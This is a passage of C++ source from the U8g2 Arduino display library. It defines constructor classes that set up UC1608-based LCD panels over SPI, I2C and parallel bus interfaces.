u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_DEM240064_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_DEM240064_F_6800 : public U8G2 { public: U8G2_UC1608_DEM240064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_F_8080 : public U8G2 { public: U8G2_UC1608_DEM240064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_1_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC24064_1_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC24064_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_DEM240064_1_SW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_DEM240064_1_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_DEM240064_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC24064_2_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC24064_2_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC24064_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_DEM240064_2_SW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_DEM240064_2_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_DEM240064_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC24064_F_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC24064_F_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC24064_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC24064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_DEM240064_F_SW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_DEM240064_F_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_DEM240064_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_DEM240064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC240120_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC240120_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC240120_1_6800 : public U8G2 { public: U8G2_UC1608_ERC240120_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_1_8080 : public U8G2 { public: U8G2_UC1608_ERC240120_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC240120_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC240120_2_6800 : public U8G2 { public: U8G2_UC1608_ERC240120_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_2_8080 : public U8G2 { public: U8G2_UC1608_ERC240120_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC240120_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC240120_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC240120_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC240120_F_6800 : public U8G2 { public: U8G2_UC1608_ERC240120_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_F_8080 : public U8G2 { public: U8G2_UC1608_ERC240120_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC240120_1_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC240120_1_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC240120_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC240120_2_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC240120_2_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC240120_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC240120_F_SW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1608_ERC240120_F_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1608_ERC240120_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1608_ERC240120_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_i2c_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_240X128_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_240X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_240X128_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_240X128_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_240X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_240X128_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_240X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_240X128_1_6800 : public U8G2 { public: U8G2_UC1608_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_1_8080 : public U8G2 { public: U8G2_UC1608_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_240X128_2_4W_SW_SPI : public U8G2 { public: 